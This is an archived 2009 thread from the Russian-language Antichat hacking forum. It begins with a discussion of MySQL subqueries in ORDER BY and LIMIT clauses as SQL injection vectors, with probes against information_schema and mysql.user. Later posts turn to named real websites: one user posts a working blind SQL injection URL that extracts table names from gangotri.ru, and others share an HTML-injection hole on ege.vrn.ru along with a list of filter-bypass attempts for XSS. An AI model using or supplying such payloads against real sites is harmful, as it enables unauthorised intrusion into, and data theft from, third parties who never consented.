ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

06.06.2009, 14:05
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме: 861008
Репутация:
58
|
|
2jokester
ну смотри. как я понимаю такие конструкции разрабатывать через подзапросы или(и) функции но и их не везде вставить(
так же есть запрос:
select .. from .. order by id limit a,b
a и b можно вставлять свои. но есть тока один вариант раскрутить это но там стоит ордер и юнион не прокатит.
а в лимит, как я пытался, не вставить if()
 или можно как нить по другому?) как думаешь?
|
|
|

06.06.2009, 14:17
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
В лимите подзапросы и выражения запрещены (и как не странно это мускул держит)
Юнион как ты правильно заметил туда не впихнёшь, он будет после ордера.
И самое смешное, что в ордере по идее подзапросы тоже запрещёны, но разрабы mysql на это положили, и они там работают. Но это значит , что доков ты по этой теме не увидишь, их как-бэ нет, подзапросов в ордере , а значит и доков нет
Соответственно хрен поймёшь как база обрабатывает подзапрос, нельзя сказать, что она его совсем игнорирует, т.к. если таблица не пустая то он обрабатывается.
Тоесть что-то она проверяет, а вот с пустой таблицей я не смог заставить работать
more than 1 row
Такое ощущение, что в этом случае, базе плевать на то, что в подзапросе и она выкидывает Empty set
Моё мнение что не выйдет, но в любом случае можешь поразвлекаться на локалке и посмотреть, т.к. не исключаю, что решение может и найтись
==================
add
Сообщение от cr0w
Насколько я понимаю, если в параметр ORDER BY мы помещаем выражение, то нужно чтоб оно возвращало именно имя колонки, по которой должна происходить сортировка, а не ее номер.
Кстати, если сможешь заставить базу воспринимать то, что она возвращает из подзапроса в ордере как ИМЯ КОЛОНКИ, дай мне знать , мы об эту тему с некоторыми товарищами уже весь мозг вывернули
Возвращает она строку, и никак не удаётся убедить её в том, что это колонка и по ней нужна сортировка.
Последний раз редактировалось jokester; 06.06.2009 в 20:58..
|
|
|

06.06.2009, 21:59
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
jokester
Код:
mysql> SELECT @@version;
+---------------------+
| @@version |
+---------------------+
| 5.0.45-community-nt |
+---------------------+
1 row in set (0.00 sec)
mysql> SELECT * from `users2`;
+-------+----------+
| name | password |
+-------+----------+
| admin | 348 |
| user1 | 469 |
| user2 | 1091 |
| user3 | 2221 |
| user4 | 5239 |
| user5 | 909 |
| cr0w | 3 |
+-------+----------+
7 rows in set (0.00 sec)
mysql> SELECT * from `users2` ORDER BY (SELECT password);
+-------+----------+
| name | password |
+-------+----------+
| user2 | 1091 |
| user3 | 2221 |
| cr0w | 3 |
| admin | 348 |
| user1 | 469 |
| user4 | 5239 |
| user5 | 909 |
+-------+----------+
7 rows in set (0.00 sec)
j0ker13
Я обратил внимание на то, что таблица пустая, но так и не понял, чего ты хотел в итоге получить тем своим запросом, поэтому решил оставить этот момент без комментария. (:
add: Мне почему-то ранее думалось, что выражение в первом параметре ORDER BY будет выполняться даже если в таблице нет данных. Надо будет поэксперементировать с этим...
Последний раз редактировалось cr0w; 06.06.2009 в 22:11..
|
|
|

06.06.2009, 22:24
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
cr0w
(SELECT password) Это не запрос знаешь-ли, так-же как и (select 1). Любая база увидев такое пошлёт тебя куда подальше. Это нестандартные фичи мускула, и работают они соответственно непонятно как
Ты запросы вот такие погоняй :
order by (select table_name from information_schema.tables limit 1)
order by (select user from mysql.user limit 1)
|
|
|

06.06.2009, 22:34
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
cr0w, мне кажется что если в таблице нет данных, то после ORDER BY выражение не посчитается, из-за банально оптимизации. Т.е. база не будет выполнять то, что не имеет смысла изначально.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|

06.06.2009, 22:39
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
jokester
Я, кстати, ведь и не писал там про подзапросы, а писал про выражения. Впрочем, "(SELECT password)" это как-никак, но подзапрос (неважно как он там в MySQL реализован) и это работает.
add: Ок, если подумать, то вобщем-то согласен с тобой, что это не совсем подзапрос (хотя, в терминологии документации MySQL, это можно назвать "подзапросом"). А как сделать то, что ты хотел бы увидеть, я не знаю и подозреваю что это невозможно в принципе, тут даже голову ломать незачем. (:
Qwazar
Да, я понял уже. (:
Последний раз редактировалось cr0w; 07.06.2009 в 01:11..
|
|
|

07.06.2009, 00:58
|
|
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме: 5866479
Репутация:
1809
|
|
Подскажите плиз, вот я нашел ошибку, что дальше можно сделать?
Код:
http://www.gangotri.ru/cs?action=itemlist&txid='
p.s. не пинайте сильно ногами, я новенький 
|
|
|

07.06.2009, 02:13
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме: 1571865
Репутация:
571
|
|
Код:
http://www.gangotri.ru/cs?action=itemlist&txid=1668+and+ascii(substring((select+table_name+from+information_schema.tables+limit+17,1),1,1))%3E1
|
|
|

07.06.2009, 09:30
|
|
Познающий
Регистрация: 28.03.2009
Сообщений: 30
Провел на форуме: 453605
Репутация:
1
|
|
На сайте ege.vrn.ru нарыл вот такое дело
http://www.ege.vrn.ru/modules.php?name=Downloads&d_op=TopRated&ratenum=2 5%3Cfont%20color=red%3EnpuBeD!%3C/font%3E&ratetype=num
В $_GET['ratenum'] фильтруется javascript, но html код пропускает. Перепробовал много вариантов, а вставить тотже алерт не получилось. Возможно ли заюзать дырку?
|
|
|

07.06.2009, 11:40
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме: 1996429
Репутация:
468
|
|
Хм. Странный фильтр какой-то стоит на сайте...
<> - пропускает
() - нет пропускает
<img... - не пропускает
<iframe... - не пропускает
<font - пропускает
<s cript> - пропускает
<ja v ascri pt - пропускает
<body+onload=j+a+vas+c+r+ipt:..> - пропускает
Последний раз редактировалось Krist_ALL; 07.06.2009 в 11:43..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|